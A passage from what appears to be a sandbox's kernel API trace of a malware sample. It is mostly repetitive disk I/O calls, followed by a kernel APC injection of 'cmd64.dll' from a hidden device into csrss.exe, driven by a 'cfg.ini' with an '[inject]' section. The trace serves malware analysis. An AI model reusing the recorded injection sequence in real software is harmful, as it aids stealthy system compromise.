MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.193] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.193] IdePortDispatch () returned 0x103 [0070.194] KeWaitForMutexObject () returned 0x0 [0070.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.194] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.194] IdePortDispatch () returned 0x103 [0070.194] KeWaitForMutexObject () returned 0x0 [0070.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.194] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.194] IdePortDispatch () returned 0x103 [0070.194] KeWaitForMutexObject () returned 0x0 [0070.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.195] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.195] IdePortDispatch () returned 0x103 [0070.195] KeWaitForMutexObject () returned 0x0 [0070.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.195] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.195] IdePortDispatch () returned 0x103 [0070.195] KeWaitForMutexObject () returned 0x0 [0070.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.196] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.196] IdePortDispatch () returned 0x103 [0070.196] KeWaitForMutexObject () returned 0x0 [0070.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.196] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.196] IdePortDispatch () returned 0x103 [0070.196] KeWaitForMutexObject () returned 0x0 [0070.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.196] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.197] IdePortDispatch () returned 0x103 [0070.197] KeWaitForMutexObject () returned 0x0 [0070.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.197] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.197] IdePortDispatch () returned 0x103 [0070.197] KeWaitForMutexObject () returned 0x0 [0070.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.197] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.197] IdePortDispatch () returned 0x103 [0070.197] KeWaitForMutexObject () returned 0x0 [0070.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.198] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.198] IdePortDispatch () returned 0x103 [0070.198] KeWaitForMutexObject () returned 0x0 [0070.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.198] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.198] IdePortDispatch () returned 0x103 [0070.199] KeWaitForMutexObject () returned 0x0 [0070.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.199] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.199] IdePortDispatch () returned 0x103 [0070.199] KeWaitForMutexObject () returned 0x0 [0070.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.199] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.199] IdePortDispatch () returned 0x103 [0070.199] KeWaitForMutexObject () returned 0x0 [0070.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.199] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.199] IdePortDispatch () returned 0x103 [0070.200] KeWaitForMutexObject () returned 0x0 [0070.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.200] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.200] IdePortDispatch () returned 0x103 [0070.200] KeWaitForMutexObject () returned 0x0 [0070.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.200] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.200] IdePortDispatch () returned 0x103 [0070.200] KeWaitForMutexObject () returned 0x0 [0070.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.201] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.201] IdePortDispatch () returned 0x103 [0070.201] KeWaitForMutexObject () returned 0x0 [0070.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.201] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.201] IdePortDispatch () returned 0x103 [0070.201] KeWaitForMutexObject () returned 0x0 [0070.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.202] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.202] IdePortDispatch () returned 0x103 [0070.202] KeWaitForMutexObject () returned 0x0 [0070.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.202] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.202] IdePortDispatch () returned 0x103 [0070.202] KeWaitForMutexObject () returned 0x0 [0070.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.202] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.202] IdePortDispatch () returned 0x103 [0070.203] KeWaitForMutexObject () returned 0x0 [0070.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.203] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.203] IdePortDispatch () returned 0x103 [0070.203] KeWaitForMutexObject () returned 0x0 [0070.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.203] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.203] IdePortDispatch () returned 0x103 [0070.204] KeWaitForMutexObject () returned 0x0 [0070.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.204] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.204] IdePortDispatch () returned 0x103 [0070.204] KeWaitForMutexObject () returned 0x0 [0070.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.204] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.204] IdePortDispatch () returned 0x103 [0070.204] KeWaitForMutexObject () returned 0x0 [0070.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.204] KeLeaveCriticalRegion () [0070.204] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.204] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001dc, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x100000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0070.205] RtlImageNtHeader (BaseAddress=0x100000) returned 0x100040 [0070.205] RtlImageDirectoryEntryToData (in: BaseAddress=0x100000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0070.205] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001dc, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x120000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0070.205] _snprintf (in: _Dest=0x120020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0070.205] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80034fe160 [0070.205] KeInitializeApc (Apc=0xfffffa80034fe160, Thread=0xfffffa8003439b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x120128, Mode=0xfffff88000000001, Context=0x120000) [0070.205] KeInsertQueueApc (Apc=0xfffffa80034fe160, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0070.205] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0070.205] ZwClose (Handle=0x3c) returned 0x0 [0070.205] ZwClose (Handle=0xffffffff800001d8) returned 0x0 [0070.205] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0070.205] KeEnterCriticalRegion () [0070.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.205] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0070.205] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80028cb070, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0070.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.205] KeLeaveCriticalRegion () [0070.206] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.206] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0070.206] PsGetProcessImageFileName () returned 0xfffffa8003545910 [0070.206] _snprintf (in: _Dest=0xfffffa80028cbdb8, _Count=0x103, _Format="%s (x64)" | out: _Dest="csrss.exe (x64)") returned 15 [0070.206] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0070.206] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001d8, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0070.206] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.206] KeEnterCriticalRegion () [0070.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.206] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0070.206] IdePortDispatch () returned 0x103 [0070.206] KeWaitForMutexObject () returned 0x0 [0070.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0070.206] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0070.206] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0070.206] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0070.206] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800351f160 [0070.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.206] KeLeaveCriticalRegion () [0070.206] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.206] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0070.206] NtLockFile (in: FileHandle=0xffffffff800001d8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0070.206] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.207] KeEnterCriticalRegion () [0070.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0070.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.207] KeLeaveCriticalRegion () [0070.207] ZwQueryInformationFile (in: FileHandle=0xffffffff800001d8, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0070.207] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.207] KeEnterCriticalRegion () [0070.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.207] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0070.207] IdePortDispatch () returned 0x103 [0070.207] KeWaitForMutexObject () returned 0x0 [0070.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0070.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.207] KeLeaveCriticalRegion () [0070.207] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.207] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a003256800 [0070.207] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0070.207] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0070.207] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="csrss.exe (x64)=") returned 16 [0070.207] _strlwr (in: _Str="csrss.exe (x64)=" | out: _Str="csrss.exe (x64)=") returned="csrss.exe (x64)=" [0070.207] ZwReadFile (in: FileHandle=0xffffffff800001d8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a003256800, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a003256800*) returned 0x0 [0070.207] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.207] KeEnterCriticalRegion () [0070.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003552800 [0070.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d5351c0 [0070.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d5351c0, AccessMode=0x0, Operation=0x2 | out: 